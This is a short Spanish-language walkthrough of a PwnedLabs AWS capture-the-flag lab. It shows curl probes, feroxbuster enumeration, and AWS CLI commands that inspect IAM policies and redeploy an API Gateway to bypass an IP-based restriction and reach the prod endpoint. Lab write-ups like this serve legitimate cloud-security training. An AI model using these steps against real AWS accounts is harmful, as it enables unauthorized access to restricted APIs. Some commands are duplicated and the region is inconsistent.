Bypass Restrictions in API Gateway
AWS PwnedLabs
Al principio nos dan las credenciales:
aws configure

Hacemos un curl para poder entender mejor la api.
curl -i https://e8r1n4tzyb.execute-api.us-west-2.amazonaws.com/api/dev

Vemos que nos sale un Method not Allowed.
curl -i https://e8r1n4tzyb.execute-api.us-west-2.amazonaws.com/api/dev -X OPTIONS

Ahora tratamos con PATCH ya que es una opcion en access-control-allow-methods.
curl -i https://e8r1n4tzyb.execute-api.us-west-2.amazonaws.com/api/dev -X PATCH

Corremos el siguiente comando para ver cuales endpoints podemos tener acceso.
feroxbuster
-u https://e8r1n4tzyb.execute-api.us-east-1.amazonaws.com
-w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
—filtter-size 42

Vemos que el nombre del escenario es api y esta en un ambiente de dev.
aws apigateway get-stages --rest-api-id e8r1n4tzyb

Aqui tratamos de correr el siguiente comando para ver el policy del objeto pero por alguna razon no se puede hacer mas bonito (prettier) ni con jq.
aws apigateway get-rest-apis | jq

Vemos los politicas para tener acceso a produccion en la ip 172.16.5.10
Para poder cambiar los permisos el usuario deberia de tener el rol para hacerlo. Tratamos de ver si tiene una politica vinculada a ella.
aws iam list-attached-user-policies --user-name staging_eng

Vemos que la version por defecto es v1

aws iam get-policy-version --policy-arn arn:aws:iam::386529243945:policy/staging_engineer_policy --version-id v1

El resultado nos dice que podemos enumerar los APIs y despues recrearla con los cambios.
aws iam get-policy-version --policy-arn arn:aws:iam::386529243945:policy/staging_engineer_policy --version-id v1

Hacemos los cambios y generamos el api de nuevo.
aws apigateway create-deployment --rest-api-id e8r1n4tzyb --stage-name api

Despues de hacer los cambios deberiamos de ejecutar el comando y recibir el flag.
curl -i https://e8r1n4tzyb.execute-api.us-west-2.amazonaws.com/api/prod -X GET
